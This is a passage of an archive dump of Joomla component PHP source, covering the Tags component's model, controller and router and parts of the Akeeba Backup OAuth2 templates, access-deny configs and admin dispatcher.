	 *
	 * @return  boolean  False on failure or error, True otherwise
	 *
	 * @since   3.1
	 */
	public function saveorder($idArray = null, $lftArray = null)
	{
		// Get an instance of the table object.
		$table = $this->getTable();

		if (!$table->saveorder($idArray, $lftArray))
		{
			$this->setError($table->getError());

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Method to change the title & alias.
	 *
	 * @param   integer  $parentId  The id of the parent.
	 * @param   string   $alias     The alias.
	 * @param   string   $title     The title.
	 *
	 * @return  array  Contains the modified title and alias.
	 *
	 * @since   3.1
	 */
	protected function generateNewTitle($parentId, $alias, $title)
	{
		// Alter the title & alias
		$table = $this->getTable();

		while ($table->load(array('alias' => $alias, 'parent_id' => $parentId)))
		{
			$title = ($table->title != $title) ? $title : StringHelper::increment($title);
			$alias = StringHelper::increment($alias, 'dash');
		}

		return array($title, $alias);
	}
}
com_tags/models/tags.php000060400000023176152453734450011313 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tags Component Tags Model
 *
 * @since  3.1
 */
class TagsModelTags extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see    JController
	 * @since  3.0.3
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'title', 'a.title',
				'alias', 'a.alias',
				'published', 'a.published',
				'access', 'a.access', 'access_level',
				'language', 'a.language',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'created_time', 'a.created_time',
				'created_user_id', 'a.created_user_id',
				'lft', 'a.lft',
				'rgt', 'a.rgt',
				'level', 'a.level',
				'path', 'a.path',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return    void
	 *
	 * @since    3.1
	 */
	protected function populateState($ordering = 'a.lft', $direction = 'asc')
	{
		$search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$level = $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '');
		$this->setState('filter.level', $level);

		$access = $this->getUserStateFromRequest($this->context . '.filter.access', 'filter_access', '');
		$this->setState('filter.access', $access);

		$published = $this->getUserStateFromRequest($this->context . '.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$language = $this->getUserStateFromRequest($this->context . '.filter.language', 'filter_language', '');
		$this->setState('filter.language', $language);

		$extension = $this->getUserStateFromRequest($this->context . '.filter.extension', 'extension', 'com_content', 'cmd');

		$this->setState('filter.extension', $extension);
		$parts = explode('.', $extension);

		// Extract the component name
		$this->setState('filter.component', $parts[0]);

		// Extract the optional section name
		$this->setState('filter.section', (count($parts) > 1) ? $parts[1] : null);

		// Load the parameters.
		$params = JComponentHelper::getParams('com_tags');
		$this->setState('params', $params);

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 *
	 * @since   3.1
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.extension');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.level');
		$id .= ':' . $this->getState('filter.access');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.language');

		return parent::getStoreId($id);
	}

	/**
	 * Method to create a query for a list of items.
	 *
	 * @return  string
	 *
	 * @since  3.1
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);
		$user = JFactory::getUser();

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id, a.title, a.alias, a.note, a.published, a.access, a.description' .
					', a.checked_out, a.checked_out_time, a.created_user_id' .
					', a.path, a.parent_id, a.level, a.lft, a.rgt' .
					', a.language'
			)
		);
		$query->from('#__tags AS a')
			->where('a.alias <> ' . $db->quote('root'));

		// Join over the language
		$query->select('l.title AS language_title, l.image AS language_image')
			->join('LEFT', $db->quoteName('#__languages') . ' AS l ON l.lang_code = a.language');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Join over the users for the author.
		$query->select('ua.name AS author_name')
			->join('LEFT', '#__users AS ua ON ua.id = a.created_user_id')

			->select('ug.title AS access_title')
			->join('LEFT', '#__viewlevels AS ug on ug.id = a.access');

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where('a.level <= ' . (int) $level);
		}

		// Filter by access level.
		if ($access = $this->getState('filter.access'))
		{
			$query->where('a.access = ' . (int) $access);
		}

		// Implement View Level Access
		if (!$user->authorise('core.admin'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}

		// Filter by published state
		$published = $this->getState('filter.published');

		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published IN (0, 1))');
		}

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('(a.title LIKE ' . $search . ' OR a.alias LIKE ' . $search . ' OR a.note LIKE ' . $search . ')');
			}
		}

		// Filter on the language.
		if ($language = $this->getState('filter.language'))
		{
			$query->where('a.language = ' . $db->quote($language));
		}

		// Add the list ordering clause
		$listOrdering = $this->getState('list.ordering', 'a.lft');
		$listDirn = $db->escape($this->getState('list.direction', 'ASC'));

		if ($listOrdering == 'a.access')
		{
			$query->order('a.access ' . $listDirn . ', a.lft ' . $listDirn);
		}
		else
		{
			$query->order($db->escape($listOrdering) . ' ' . $listDirn);
		}

		return $query;
	}

	/**
	 * Method override to check-in a record or an array of record
	 *
	 * @param   mixed  $pks  The ID of the primary key or an array of IDs
	 *
	 * @return  mixed  Boolean false if there is an error, otherwise the count of records checked in.
	 *
	 * @since   3.0.1
	 */
	public function checkin($pks = array())
	{
		$pks = (array) $pks;
		$table = $this->getTable();
		$count = 0;

		if (empty($pks))
		{
			$pks = array((int) $this->getState($this->getName() . '.id'));
		}

		// Check in all items.
		foreach ($pks as $pk)
		{
			if ($table->load($pk))
			{
				if ($table->checked_out > 0)
				{
					// Only attempt to check the row in if it exists.
					if ($pk)
					{
						$user = JFactory::getUser();

						// Get an instance of the row to checkin.
						$table = $this->getTable();

						if (!$table->load($pk))
						{
							$this->setError($table->getError());

							return false;
						}

						// Check if this is the user having previously checked out the row.
						if ($table->checked_out > 0 && $table->checked_out != $user->get('id') && !$user->authorise('core.admin', 'com_checkin'))
						{
							$this->setError(JText::_('JLIB_APPLICATION_ERROR_CHECKIN_USER_MISMATCH'));

							return false;
						}

						// Attempt to check the row in.
						if (!$table->checkin($pk))
						{
							$this->setError($table->getError());

							return false;
						}
					}

					$count++;
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		return $count;
	}

	/**
	 * Method to get a table object, load it if necessary.
	 *
	 * @param   string  $type    The table name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.1
	 */
	public function getTable($type = 'Tag', $prefix = 'TagsTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.0.1
	 */
	public function getItems()
	{
		$items = parent::getItems();

		if ($items != false)
		{
			$extension = $this->getState('filter.extension');

			$this->countItems($items, $extension);
		}

		return $items;
	}

	/**
	 * Method to load the countItems method from the extensions
	 *
	 * @param   stdClass[]  &$items     The category items
	 * @param   string      $extension  The category extension
	 *
	 * @return  void
	 *
	 * @since   3.5
	 */
	public function countItems(&$items, $extension)
	{
		$parts = explode('.', $extension);
		$component = $parts[0];
		$section = null;

		if (count($parts) < 2)
		{
			return;
		}

		// Try to find the component helper.
		$eName = str_replace('com_', '', $component);
		$file = JPath::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/helpers/' . $eName . '.php');

		if (file_exists($file))
		{
			$prefix = ucfirst(str_replace('com_', '', $component));
			$cName = $prefix . 'Helper';

			JLoader::register($cName, $file);

			if (class_exists($cName) && is_callable(array($cName, 'countTagItems')))
			{
				$cName::countTagItems($items, $extension);
			}
		}
	}
}
com_tags/controller.php000060400000002572152453734450011252 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Tags view class for the Tags package.
 *
 * @since  3.1
 */
class TagsController extends JControllerLegacy
{
	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JControllerLegacy  This object to support chaining.
	 *
	 * @since   3.1
	 */
	public function display($cachable = false, $urlparams = false)
	{
		$view   = $this->input->get('view', 'tags');
		$layout = $this->input->get('layout', 'default');
		$id     = $this->input->getInt('id');

		// Check for edit form.
		if ($view == 'tag' && $layout == 'edit' && !$this->checkEditId('com_tags.edit.tag', $id))
		{
			// Somehow the person just went to the form - we don't allow that.
			$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id));
			$this->setMessage($this->getError(), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_tags&view=tags', false));

			return false;
		}

		parent::display();

		return $this;
	}
}
com_tags/router.php000060400000011232152453734450010400 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Routing class from com_tags
 *
 * @since  3.3
 */
class TagsRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_tags component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		// Get a menu item based on Itemid or currently active
		$params = JComponentHelper::getParams('com_tags');

		// We need a menu item.  Either the one specified in the query, or the current active one if none specified
		if (empty($query['Itemid']))
		{
			$menuItem = $this->menu->getActive();
		}
		else
		{
			$menuItem = $this->menu->getItem($query['Itemid']);
		}

		$mView = empty($menuItem->query['view']) ? null : $menuItem->query['view'];
		$mId   = empty($menuItem->query['id']) ? null : $menuItem->query['id'];

		if (is_array($mId))
		{
			$mId = ArrayHelper::toInteger($mId);
		}

		$view = '';

		if (isset($query['view']))
		{
			$view = $query['view'];

			if (empty($query['Itemid']))
			{
				$segments[] = $view;
			}

			unset($query['view']);
		}

		// Are we dealing with a tag that is attached to a menu item?
		if ($mView == $view && isset($query['id']) && $mId == $query['id'])
		{
			unset($query['id']);

			return $segments;
		}

		if ($view === 'tag')
		{
			$notActiveTag = is_array($mId) ? (count($mId) > 1 || $mId[0] != (int) $query['id']) : ($mId != (int) $query['id']);

			if ($notActiveTag || $mView != $view)
			{
				// ID in com_tags can be either an integer, a string or an array of IDs
				$id = is_array($query['id']) ? implode(',', $query['id']) : $query['id'];
				$segments[] = $id;
			}

			unset($query['id']);
		}

		if (isset($query['layout']))
		{
			if ((!empty($query['Itemid']) && isset($menuItem->query['layout'])
				&& $query['layout'] == $menuItem->query['layout'])
				|| $query['layout'] === 'default')
			{
				unset($query['layout']);
			}
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
			$position     = strpos($segments[$i], '-');

			if ($position)
			{
				// Remove id from segment
				$segments[$i] = substr($segments[$i], $position + 1);
			}
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$total = count($segments);
		$vars = array();

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Get the active menu item.
		$item = $this->menu->getActive();

		// Count route segments
		$count = count($segments);

		// Standard routing for tags.
		if (!isset($item))
		{
			$vars['view'] = $segments[0];
			$vars['id']   = $this->fixSegment($segments[$count - 1]);

			return $vars;
		}

		$vars['id'] = $this->fixSegment($segments[0]);
		$vars['view'] = 'tag';

		return $vars;
	}

	/**
	 * Try to add missing id to segment
	 *
	 * @param   string  $segment  One piece of segment of the URL to parse
	 *
	 * @return  string  The segment with founded id
	 *
	 * @since   3.7
	 */
	protected function fixSegment($segment)
	{
		$db = JFactory::getDbo();

		// Try to find tag id
		$alias = str_replace(':', '-', $segment);

		$query = $db->getQuery(true)
			->select('id')
			->from($db->quoteName('#__tags'))
			->where($db->quoteName('alias') . " = " . $db->quote($alias));

		$id = $db->setQuery($query)->loadResult();

		if ($id)
		{
			$segment = "$id:$alias";
		}

		return $segment;
	}
}

/**
 * Tags router functions. These functions are proxys for the new router interface or old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments.
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function tagsBuildRoute(&$query)
{
	$router = new TagsRouter;

	return $router->build($query);
}

/**
 * Parse the segments of a URL. These functions are proxys for the new router interface or old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function tagsParseRoute($segments)
{
	$router = new TagsRouter;

	return $router->parse($segments);
}
com_tags/tags.php000060400000001115152453734450010015 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
JHtml::_('behavior.tabstate');

if (!JFactory::getUser()->authorise('core.manage', 'com_tags'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Tags');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_akeeba/View/Oauth2/Raw.php000060400000001222152453734450012135 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */
namespace Akeeba\Backup\Site\View\Oauth2;

defined('_JEXEC') || die;

use Akeeba\Backup\Site\Model\Oauth2\ProviderInterface;
use Akeeba\Backup\Site\Model\Oauth2\TokenResponse;
use FOF40\View\DataView\Raw as BaseView;

class Raw extends BaseView
{
	/** @var ProviderInterface|null  */
	public $provider = null;

	/** @var TokenResponse|null  */
	public $tokens = null;

	/** @var \Exception|null  */
	public $exception = null;

	/** @var string|null  */
	public $step1url = null;
}com_akeeba/tmpl/Oauth2/error.php000060400000003361152453734450012605 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @var \Akeeba\Backup\Site\View\OAuth2\Raw $this
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/** @var JDocumentRaw $doc */
$doc = Factory::getDocument();
$app = Factory::getApplication();

$app->setHeader('Pragma', 'public');
$app->setHeader('Expires', '0');
$app->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');
$app->setHeader('Cache-Control', 'public');
$doc->setMimeEncoding('text/html');

$title = Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans());

?>
<html lang="<?= Factory::getApplication()->getLanguage()->getTag() ?>">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title><?= Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans()) ?></title>

	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
	      rel="stylesheet"
	      integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
	      crossorigin="anonymous">
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"
	        integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz"
	        defer
	        crossorigin="anonymous"></script>
</head>
<body>

<div class="card m-2 border-danger border-2">
	<div class="card-body">
		<h1>
			<?= Text::sprintf('COM_AKEEBA_OAUTH2_AUTH_ERROR', $this->provider->getEngineNameForHumans()) ?>
		</h1>
		<p>
			<?= $this->escape($this->exception->getMessage()) ?>
		</p>
	</div>
</div>

</body>
</html>
com_akeeba/tmpl/Oauth2/default.php000060400000004010152453734450013070 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @var \Akeeba\Backup\Site\View\OAuth2\Raw $this
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/** @var JDocumentRaw $doc */
$doc = Factory::getDocument();
$app = Factory::getApplication();

$app->setHeader('Pragma', 'public');
$app->setHeader('Expires', '0');
$app->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');
$app->setHeader('Cache-Control', 'public');
$doc->setMimeEncoding('text/html');

$title = Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans());
?>
<html lang="<?= Factory::getApplication()->getLanguage()->getTag() ?>">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title><?= Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans()) ?></title>

	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
	      rel="stylesheet"
	      integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
	      crossorigin="anonymous">
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"
	        integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz"
	        defer
	        crossorigin="anonymous"></script>
</head>
<body>

<div class="card m-2">
	<div class="card-body">
		<h1>
			<?= Text::sprintf('COM_AKEEBA_OAUTH2_AUTH_ALMOST_COMPLETE', $this->provider->getEngineNameForHumans()) ?>
		</h1>
		<p>
			<?= Text::_('COM_AKEEBA_OAUTH2_AUTH_COPY') ?>
		</p>
		<p>
			<strong><?= Text::_('COM_AKEEBA_OAUTH2_ACCESS') ?></strong><br/>
			<code><?= $this->escape($this->tokens['accessToken']) ?></code><br/>
			<strong><?= Text::_('COM_AKEEBA_OAUTH2_REFRESH') ?></strong><br/>
			<code><?= $this->escape($this->tokens['refreshToken']) ?></code><br/><br/>
		</p>
	</div>
</div>

</body>
</html>
com_akeeba/tmpl/Oauth2/step1.php000060400000004017152453734450012507 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/**
 * @var \Akeeba\Backup\Site\View\OAuth2\Raw $this
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

/** @var JDocumentRaw $doc */
$doc = Factory::getDocument();
$app = Factory::getApplication();

$app->setHeader('Pragma', 'public');
$app->setHeader('Expires', '0');
$app->setHeader('Cache-Control', 'must-revalidate, post-check=0, pre-check=0');
$app->setHeader('Cache-Control', 'public');
$doc->setMimeEncoding('text/html');

$title = Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans());

?>
<html lang="<?= Factory::getApplication()->getLanguage()->getTag() ?>">
<head>
	<meta charset="utf-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<title>
		<?= Text::sprintf('COM_AKEEBA_OAUTH2_TITLE', $this->provider->getEngineNameForHumans()) ?>
	</title>

	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css"
	      rel="stylesheet"
	      integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH"
	      crossorigin="anonymous">
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"
	        integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz"
	        defer
	        crossorigin="anonymous"></script>
</head>
<body>

<div class="card m-2">
	<div class="card-body">
		<h1>
			<?= Text::sprintf('COM_AKEEBA_OAUTH2_AUTH', $this->provider->getEngineNameForHumans()) ?>
		</h1>
		<p>
			<?= Text::sprintf('COM_AKEEBA_OAUTH2_AUTH_INFO', $this->provider->getEngineNameForHumans(), Factory::getApplication()->get('sitename')) ?>
		</p>
		<p class="text-center p-3">
			<a href="<?= $this->step1url ?>"
			   class="btn btn-lg btn-primary"
			>
				<?= Text::sprintf('COM_AKEEBA_OAUTH2_AUTH_START', $this->provider->getEngineNameForHumans()) ?>
			</a>
		</p>

	</div>
</div>

</body>
</html>
com_akeeba/Dispatcher/.htaccess000060400000000246152453734450012510 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Dispatcher/web.config000060400000001025152453734450012652 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/Dispatcher/Dispatcher.php000060400000023662152453734450013520 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Dispatcher;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Helper\SecretWord;
use Akeeba\Backup\Admin\Model\ControlPanel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use AkeebaFEFHelper;
use FOF40\Container\Container;
use FOF40\Dispatcher\Dispatcher as BaseDispatcher;
use FOF40\Dispatcher\Mixin\ViewAliases;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Language\Text;

class Dispatcher extends BaseDispatcher
{
	/** @var   string  The name of the default view, in case none is specified */
	public $defaultView = 'ControlPanel';

	use ViewAliases
	{
		onBeforeDispatch as onBeforeDispatchViewAliases;
	}

	/** @var  \Akeeba\Backup\Admin\Container  The container we belong to */
	protected $container = null;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->viewNameAliases = [
			'buadmin'        => 'Manage',
			'buadmins'       => 'Manage',
			'config'         => 'Configuration',
			'configs'        => 'Configuration',
			'confwiz'        => 'ConfigurationWizard',
			'confwizs'       => 'ConfigurationWizard',
			'confwizes'      => 'ConfigurationWizard',
			'cpanel'         => 'ControlPanel',
			'cpanels'        => 'ControlPanel',
			'dbef'           => 'DatabaseFilters',
			'dbefs'          => 'DatabaseFilters',
			'eff'            => 'IncludeFolders',
			'effs'           => 'IncludeFolders',
			'fsfilter'       => 'FileFilters',
			'fsfilters'      => 'FileFilters',
			'ftpbrowser'     => 'FTPBrowser',
			'ftpbrowsers'    => 'FTPBrowser',
			'sftpbrowser'    => 'SFTPBrowser',
			'sftpbrowsers'   => 'SFTPBrowser',
			'multidb'        => 'MultipleDatabases',
			'multidbs'       => 'MultipleDatabases',
			'regexdbfilter'  => 'RegExDatabaseFilters',
			'regexdbfilters' => 'RegExDatabaseFilters',
			'regexfsfilter'  => 'RegExFileFilters',
			'regexfsfilters' => 'RegExFileFilters',
			'remotefile'     => 'RemoteFiles',
			'remotefiles'    => 'RemoteFiles',
			's3import'       => 'S3Import',
			's3imports'      => 'S3Import',
		];

	}

	/**
	 * Executes before dispatching the request to the appropriate controller
	 */
	public function onBeforeDispatch()
	{
		$this->container->platform->importPlugin('akeebabackup');
		$this->container->platform->runPlugins('onComAkeebaDispatcherBeforeDispatch', []);

		$this->onBeforeDispatchViewAliases();

		// Load the FOF language
		$lang = $this->container->platform->getLanguage();
		$lang->load('lib_fof40', JPATH_ADMINISTRATOR, 'en-GB', true, true);
		$lang->load('lib_fof40', JPATH_ADMINISTRATOR, null, true, false);

		// Necessary for routing the Alice view
		$this->container->inflector->addWord('Alice', 'Alices');

		// Does the user have adequate permissions to access our component?
		if (!$this->container->platform->authorise('core.manage', 'com_akeeba'))
		{
			throw new \RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 404);
		}

		// FEF Renderer options. Used to load the common CSS file.
		$darkMode  = $this->container->params->get('dark_mode', -1);
		$customCss = 'media://com_akeeba/css/akeebaui.css';

		if ($darkMode != 0)
		{
			$customCss .= ', media://com_akeeba/css/dark.css';
		}

		$this->container->renderer->setOptions([
			'custom_css' => $customCss,
			'fef_dark'   => $darkMode,
		]);

		// Load Akeeba Engine
		$this->loadAkeebaEngine();

		// Load the Akeeba Engine configuration
		try
		{
			$this->loadAkeebaEngineConfiguration();
		}
		catch (\Exception $e)
		{
			// Maybe the tables are not installed?
			/** @var ControlPanel $cPanelModel */
			$cPanelModel = $this->container->factory->model('ControlPanel')->tmpInstance();

			try
			{
				$cPanelModel->checkAndFixDatabase();
			}
			catch (\RuntimeException $e)
			{
				// The update is stuck. We will display a warning in the Control Panel
			}

			$msg = Text::_('COM_AKEEBA_CONTROLPANEL_MSG_REBUILTTABLES');
			$this->container->platform->redirect('index.php', 307, $msg, 'warning');
		}

		// Prevents the "SQLSTATE[HY000]: General error: 2014" due to resource sharing with Akeeba Engine
		$this->fixPDOMySQLResourceSharing();

		// Load the utils helper library
		Platform::getInstance()->load_version_defines();
		Platform::getInstance()->apply_quirk_definitions();

		// Make sure the front-end backup Secret Word is stored encrypted
		$params = $this->container->params;
		SecretWord::enforceEncryption($params, 'frontend_secret_word');

		// Make sure we have a version loaded
		@include_once($this->container->backEndPath . '/version.php');

		if (!defined('AKEEBA_VERSION'))
		{
			define('AKEEBA_VERSION', 'dev');
			define('AKEEBA_DATE', date('Y-m-d'));
		}

		// Create a media file versioning tag
		$this->container->mediaVersion = md5(AKEEBA_VERSION . AKEEBA_DATE);

		// Perform certain functionality only in HTML tasks
		$format = $this->input->getCmd('format', 'html');

		if ($format == 'html')
		{
			// Load common Javascript files. NOTE: CSS and anything style-related is loaded by the FEF Renderer class.
			$this->loadCommonJavascript();

			// Perform common maintenance tasks
			$this->autoMaintenance();
		}

		// Set the linkbar style to Classic (Bootstrap tabs). The sidebar takes too much space and requires adding
		// manual HTML to render it...
		$this->container->renderer->setOption('linkbar_style', 'classic');
	}

	public function loadAkeebaEngine()
	{
		// Necessary defines for Akeeba Engine
		if (!defined('AKEEBAENGINE'))
		{
			define('AKEEBAENGINE', 1);
			define('AKEEBAROOT', $this->container->backEndPath . '/BackupEngine');
		}

		// Make sure we have a profile set throughout the component's lifetime
		$profile_id = $this->container->platform->getSessionVar('profile', null, 'akeeba');

		if (is_null($profile_id))
		{
			$this->container->platform->setSessionVar('profile', 1, 'akeeba');
		}

		// Load Akeeba Engine
		$basePath = $this->container->backEndPath;
		require_once $basePath . '/BackupEngine/Factory.php';
	}

	public function loadAkeebaEngineConfiguration()
	{
		Platform::addPlatform('joomla3x', $this->container->backEndPath . '/BackupPlatform/Joomla3x');
		$akeebaEngineConfig = Factory::getConfiguration();
		Platform::getInstance()->load_configuration();
		unset($akeebaEngineConfig);
	}

	/**
	 * Prevents the "SQLSTATE[HY000]: General error: 2014" due to resource sharing with Akeeba Engine.
	 *
	 * @since 7.5.2
	 */
	protected function fixPDOMySQLResourceSharing(): void
	{
		// This fix only applies to PHP 7.x, not 8.x
		if (version_compare(PHP_VERSION, '8.0', 'ge'))
		{
			return;
		}

		// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
		// !!!!! WARNING: ALWAYS GO THROUGH JFactory; DO NOT GO THROUGH $this->container->db !!!!!
